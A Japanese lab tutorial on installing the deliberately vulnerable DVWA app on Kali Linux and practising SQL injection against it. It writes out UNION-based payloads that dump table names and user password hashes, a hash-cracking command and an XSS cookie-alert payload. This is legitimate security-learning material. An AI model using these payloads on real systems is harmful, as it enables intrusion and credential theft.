Kali LinuxでDVWAを使いSQLインジェクション体験


 DVWAはPHP,MySQLで構築された脆弱性のあるWebアプリケーションで、
SQLインジェクションやXSS(クロスサイト・スクリプティング)のテスト用に使われます。

今回Kali Linuxを使い、DVWAを構築、SQLインジェクションのテストをするところまで実施します。
攻撃者の方法を知ることで、防御の方法も学んでいければと思います。

前提

Kali Linux実行環境があること。
Virtual BoxにKali Linuxインストール

DVWA構築

以下よりDVWA-master.zipをダウンロードし、Kali Linuxサーバの任意のディレクトリに転送します。
http://www.dvwa.co.uk

※以下サーバ内、rootでの作業です。

ファイルを解凍する

unzip DVWA-master.zip

移動して権限を与える

cp -Rv /root/DVWA-master /var/www/html
chmod -Rv 777 /var/www/html/DVWA-master

コンフィグを用意

cd /var/www/html/DVWA-master/config
mv config.inc.php.dist config.inc.php

Apache,MySQLを起動

service apache2 start
service mysql start

MysQLからアカウント登録

mysql -uroot -p
Kaliのrootパスワードを入力
use mysql;
grant all privileges on *.* to 'root'@'localhost' identified by 'password';
exit

mysqlに接続できるようにする

vi config.inc.php
※以下編集

db_server = '127.0.0.1';
db_database = 'dvwa';
db_user = 'root';
db_password = '設定したパスワード';

ブラウザで表示確認
http:/サーバのIP/DVWA-master/

以下表示されます。下部の「Create / Reset Database」ボタンを押してください。

このログイン画面が出たら構築成功です。

以下の情報でログインできます。
Username:admin
Password:password

ログインしたら左下「DVWA Security」を押してください。

左下ボックスでセキュリティレベルを「Low」にして「Submit」して下さい。

こちらのUser ID入力画面が表示されます。

SQLインジェクション体験

UserIDに1~5までの好きな数字を入れてみると、以下のように表示されます。

表示された結果を見て、select XXX from XXX where id = <入力値>のSQLが実行されると推測します。

すべてのフィールドを表示させる、以下SQLインジェクションの典型的なコードを入力してみます。
1' OR 'a'='a

これで単純なSQLインジェクションに対する脆弱性があるとわかります。

これからSQLを連結させるunion句の分をボックスに入力し、ユーザのパスワードを表示させるところまでいきます。

DBシステムのバージョンを取得する

' union select version(),null #

ホスト名、DB名、ユーザー名を調べる

' union select @@hostname,database() #
' union select user(),'A' #

これでdvwaというデータベースを使用していることがわかります。

テーブル名の一覧を取得する

' union select table_name,null from information_schema.tables #

dvwaが用いているテーブルを特定する

' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #

usersテーブルというのがあってここにユーザ情報が格納されていそうです。

usersテーブルのカラムを確認

' union select table_name,columns_schema from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #

usersテーブルにpasswordというカラムがあることがわかります。

パスワードを出力する

' union select user,password from dvwa.users #
passwordに格納されたデータはMD5ハッシュ値ではないかと推測できます。

findmyhashコマンドによるハッシュ値解析

findmyhashコマンドはMD5解析サイトを巡回して元のパスワードを調査するツールです。
以下コマンドで実行できます。

findmyhash MD5 -h MD5のハッシュ値

おまけ

深くは解説しないですが、DVWAはXSS(クロスサイトスクリプティング)を試すこともできます。
左メニュー「XSS(Reflected)」より以下を入力してみてください。

<script>alert(document.cookie)</script>

対策

SQLインジェクションに関する対策はネットにもたくさん載っていると思います。
出力のコンテクストを考えたり、プレースホルダであったり。
今回は疑似環境でテストしてみただけですので、SQLインジェクション、XSSの
攻撃と対策について更に調べてみるのもよいかもしれません。

関連記事

・Kali LinuxでJohn The Ripper,hydraによるパスワード解析
・Kali LinuxのMetasploitで脆弱性を突きサーバを遠隔操作
・Kali Linuxを使いMACアドレスを偽装
・Kali LinuxでWebクローニングを使いログイン情報取得